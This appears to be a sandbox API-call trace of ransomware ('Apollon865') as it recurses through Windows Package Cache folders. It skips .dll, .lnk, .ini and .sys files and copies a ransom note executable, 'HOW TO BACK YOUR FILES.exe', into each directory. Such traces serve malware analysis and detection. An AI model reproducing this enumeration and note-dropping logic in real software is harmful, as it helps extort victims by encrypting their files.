	[0039.037] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f6129b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6129b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0039.037] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.037] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.037] lstrcpyW (in: lpString1=0x2d3e63c, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0039.037] lstrlenW (lpString="cab1.cab") returned 8
	[0039.037] lstrlenW (lpString="Apollon865") returned 10
	[0039.037] lstrlenW (lpString=".dll") returned 4
	[0039.037] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0039.037] lstrlenW (lpString=".lnk") returned 4
	[0039.037] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0039.037] lstrlenW (lpString=".ini") returned 4
	[0039.037] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0039.037] lstrlenW (lpString=".sys") returned 4
	[0039.037] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0039.037] lstrlenW (lpString="cab1.cab") returned 8
	[0039.037] lstrcpyW (in: lpString1=0x2d3e63c, lpString2="vc_runtimeAdditional_x64.msi" | out: lpString1="vc_runtimeAdditional_x64.msi") returned="vc_runtimeAdditional_x64.msi"
	[0039.037] lstrlenW (lpString="vc_runtimeAdditional_x64.msi") returned 28
	[0039.037] lstrlenW (lpString="Apollon865") returned 10
	[0039.037] lstrcmpiW (lpString1="al_x64.msi", lpString2="Apollon865") returned -1
	[0039.037] lstrlenW (lpString=".dll") returned 4
	[0039.037] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".dll") returned 1
	[0039.037] lstrlenW (lpString=".lnk") returned 4
	[0039.037] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".lnk") returned 1
	[0039.037] lstrlenW (lpString=".ini") returned 4
	[0039.037] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".ini") returned 1
	[0039.037] lstrlenW (lpString=".sys") returned 4
	[0039.038] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".sys") returned 1
	[0039.038] lstrlenW (lpString="vc_runtimeAdditional_x64.msi") returned 28
	[0039.038] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}"
	[0039.038] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0039.038] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0039.038] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned 71
	[0039.038] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}"
	[0039.038] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.038] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.043] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.043] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f6129b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6129b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0039.043] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.043] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.043] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="state.rsm" | out: lpString1="state.rsm") returned="state.rsm"
	[0039.043] lstrlenW (lpString="state.rsm") returned 9
	[0039.043] lstrlenW (lpString="Apollon865") returned 10
	[0039.044] lstrlenW (lpString=".dll") returned 4
	[0039.044] lstrcmpiW (lpString1="state.rsm", lpString2=".dll") returned 1
	[0039.044] lstrlenW (lpString=".lnk") returned 4
	[0039.044] lstrcmpiW (lpString1="state.rsm", lpString2=".lnk") returned 1
	[0039.044] lstrlenW (lpString=".ini") returned 4
	[0039.044] lstrcmpiW (lpString1="state.rsm", lpString2=".ini") returned 1
	[0039.044] lstrlenW (lpString=".sys") returned 4
	[0039.044] lstrcmpiW (lpString1="state.rsm", lpString2=".sys") returned 1
	[0039.044] lstrlenW (lpString="state.rsm") returned 9
	[0039.044] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="vcredist_x86.exe" | out: lpString1="vcredist_x86.exe") returned="vcredist_x86.exe"
	[0039.044] lstrlenW (lpString="vcredist_x86.exe") returned 16
	[0039.044] lstrlenW (lpString="Apollon865") returned 10
	[0039.044] lstrcmpiW (lpString1="st_x86.exe", lpString2="Apollon865") returned 1
	[0039.044] lstrlenW (lpString=".dll") returned 4
	[0039.044] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".dll") returned 1
	[0039.044] lstrlenW (lpString=".lnk") returned 4
	[0039.044] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".lnk") returned 1
	[0039.044] lstrlenW (lpString=".ini") returned 4
	[0039.044] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".ini") returned 1
	[0039.044] lstrlenW (lpString=".sys") returned 4
	[0039.044] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".sys") returned 1
	[0039.044] lstrlenW (lpString="vcredist_x86.exe") returned 16
	[0039.044] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005"
	[0039.044] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599d18 | out: hHeap=0x580000) returned 1
	[0039.044] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0039.044] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned 82
	[0039.044] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005"
	[0039.044] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.044] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.049] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.049] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6129b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6129b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0039.049] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.049] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.050] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0039.050] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0039.050] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb8) returned 0x5c1458
	[0039.050] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7b30
	[0039.050] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0039.050] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0039.050] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c90
	[0039.050] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages"
	[0039.050] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0039.050] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0039.050] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned 91
	[0039.050] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages"
	[0039.050] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.050] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.054] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.054] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f638b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f638b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0039.054] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.054] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.054] lstrcpyW (in: lpString1=0x2d3e608, lpString2="vcRuntimeMinimum_x86" | out: lpString1="vcRuntimeMinimum_x86") returned="vcRuntimeMinimum_x86"
	[0039.054] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0039.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xe2) returned 0x599450
	[0039.055] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7b30
	[0039.055] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0039.055] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0039.055] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c90
	[0039.055] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86"
	[0039.055] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0039.055] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0039.055] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86") returned 112
	[0039.055] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86"
	[0039.055] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.055] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.060] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.060] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f638b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f638b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0039.060] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.060] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.061] lstrcpyW (in: lpString1=0x2d3e632, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0039.061] lstrlenW (lpString="cab1.cab") returned 8
	[0039.061] lstrlenW (lpString="Apollon865") returned 10
	[0039.061] lstrlenW (lpString=".dll") returned 4
	[0039.061] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0039.061] lstrlenW (lpString=".lnk") returned 4
	[0039.061] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0039.061] lstrlenW (lpString=".ini") returned 4
	[0039.061] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0039.061] lstrlenW (lpString=".sys") returned 4
	[0039.061] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0039.061] lstrlenW (lpString="cab1.cab") returned 8
	[0039.061] lstrcpyW (in: lpString1=0x2d3e632, lpString2="vc_runtimeMinimum_x86.msi" | out: lpString1="vc_runtimeMinimum_x86.msi") returned="vc_runtimeMinimum_x86.msi"
	[0039.061] lstrlenW (lpString="vc_runtimeMinimum_x86.msi") returned 25
	[0039.061] lstrlenW (lpString="Apollon865") returned 10
	[0039.061] lstrcmpiW (lpString1="um_x86.msi", lpString2="Apollon865") returned 1
	[0039.061] lstrlenW (lpString=".dll") returned 4
	[0039.061] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".dll") returned 1
	[0039.061] lstrlenW (lpString=".lnk") returned 4
	[0039.061] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".lnk") returned 1
	[0039.061] lstrlenW (lpString=".ini") returned 4
	[0039.061] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".ini") returned 1
	[0039.061] lstrlenW (lpString=".sys") returned 4
	[0039.061] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".sys") returned 1
	[0039.061] lstrlenW (lpString="vc_runtimeMinimum_x86.msi") returned 25
	[0039.061] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D"
	[0039.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599c78 | out: hHeap=0x580000) returned 1
	[0039.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b28 | out: hHeap=0x580000) returned 1
	[0039.061] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned 73
	[0039.061] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" | out: lpString1="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D"
	[0039.061] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.061] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.073] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.073] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f638b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f638b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0039.074] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.074] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.074] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0039.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b28
	[0039.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x599c78
	[0039.074] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b30 | out: ListHead=0x5b76b0, ListEntry=0x5b7b30) returned 0x5b7b10
	[0039.074] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0039.074] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0039.074] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b30
	[0039.074] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages"
	[0039.074] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599c78 | out: hHeap=0x580000) returned 1
	[0039.074] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b28 | out: hHeap=0x580000) returned 1
	[0039.074] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages") returned 82
	[0039.074] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages" | out: lpString1="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages"
	[0039.074] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.074] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.086] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.086] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f684dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0039.086] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.086] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.087] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="Patch" | out: lpString1="Patch") returned="Patch"
	[0039.087] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b28
	[0039.087] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb2) returned 0x5c1458
